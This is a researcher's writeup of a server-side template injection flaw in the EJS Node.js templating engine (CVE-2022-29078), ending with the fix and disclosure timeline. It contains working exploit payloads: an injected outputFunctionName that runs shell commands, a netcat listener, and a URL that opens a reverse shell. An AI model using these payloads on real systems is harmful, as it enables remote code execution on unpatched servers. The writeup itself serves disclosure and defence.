# EJS, Server side template injection RCE (CVE-2022-29078) - writeup
April 23, 2022 * 4 min * Me
> Note: The objective of this research or any similar researches is to improve
> the nodejs ecosystem security level.
Recently i was working on a related project using one of the most popular
Nodejs templating engines [Embedded JavaScript templates -
EJS](https://github.com/mde/ejs)
In my weekend i started to have a look around to see if the library is
vulnerable to server side template injection. Since the library is open source
we can have a whitebox approach and look at the source code.
> you can use a debugger to put several breakpoint to understand the code flow
> quicky. Or at least you can do a print (or console.log) to see what
> functions is called and what is the variables values
## The analysis#
I noticed an interesting thing in the render function
```js
exports.render = function (template, d, o) {
var data = d || {};
var opts = o || {};
// No options object -- if there are optiony names
// in the data, copy them to options
if (arguments.length == 2) {
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
}
return handleCache(opts, template)(data);
};
```
[libs/ejs.js:413](https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L413-L424)
The data and options is merged together through this function
`utils.shallowCopyFromList` So in theory we can overwrite the template options
with the data (coming from user)
A look into the function shows it has some restrictions
```js
exports.shallowCopyFromList = function (to, from, list) {
for (var i = 0; i < list.length; i++) {
var p = list[i];
if (typeof from[p] != 'undefined') {
to[p] = from[p];
}
}
return to;
};
```
[libs/utils.js:135](https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/utils.js#L135-L143)
It only copies the data if it's in the passed list defined
```js
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
```
OK, its time to have a proof of concept and lets try this options to see what
impact we can make
```js
// index.js
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
// page.ejs
<h1> You are viewing page number <%= id %></h1>
```
Now if we lunched this application and send this request for example
http://localhost:3000/page?id=2&debug=true
This will ends up enabling ejs debug mode. But there is not much impact
because if there is no errors nothing will show
OK, lets try something else. What about the delimiter
http://localhost:3000/?delimiter=NotExistsDelimiter
ok, This is interesting because it will disclose the template because the
delimiter is not exists.
One more thing i tried here is to try to exploit to to have a reDos attack.
Because this delimiter is added to regex and this regex is executed against
the template contents.
```js
createRegex: function () {
var str = _REGEX_STRING;
var delim = utils.escapeRegExpChars(this.opts.delimiter);
var open = utils.escapeRegExpChars(this.opts.openDelimiter);
var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
str = str.replace(/%/g, delim)
.replace(/</g, open)
.replace(/>/g, close);
return new RegExp(str);
}
```
[libs/ejs.js:558](https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L558-L566)
So if we added a delimiter `xx` the regex will be like this
```
(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)
```
But the problem as you see above that it's well escaped
`utils.escapeRegExpChars` so we can't actually put any regex reserved
characters (`*`,`$`, `[]` ..etc) so basically we can't do somethig
catastrophic here.
OK, thats boring. What will be really exciting is to find RCE
## The RCE exploit
I spent sometime looking around till i find this interesting lines in the
`renderFile` function.
```js
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
```
[libs/ejs.js:471](https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L471-L476)
Interesing, so in the case of express `view options` ejs will copy everything
into the options without restrictions
Bingo, now what we need is just to find option included in the template body
without escaping
```js
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
```
so if we injected code in the `outputFunctionName` option it will included in
the source code.
Payload like this
`x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s`
it will be added to the template compiled code
```js
var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;
```
and our code will be excuted successfully
So lets try a reverse shell
first lets run netcat on our maching
```shell
nc -lnvp 1337
```
and lets inject some code
```html
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
```
And here we go
![SSTI RCE in EJS](https://images.seebug.org/1658225217862-w331s)
## Fix & Mitigation
Ejs already issued a [fix](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf) to prevent injecting any code in the options especially `opts.outputFunctionName`
and they released [v3.1.7](https://github.com/mde/ejs/releases/tag/v3.1.7)
### Timeline
- 10 Apr 2022: Reported to vendor
- 12 Apr 2022: CVE number assigned (CVE-2022-29078)
- 20 Apr 2022: Fix released
暂无评论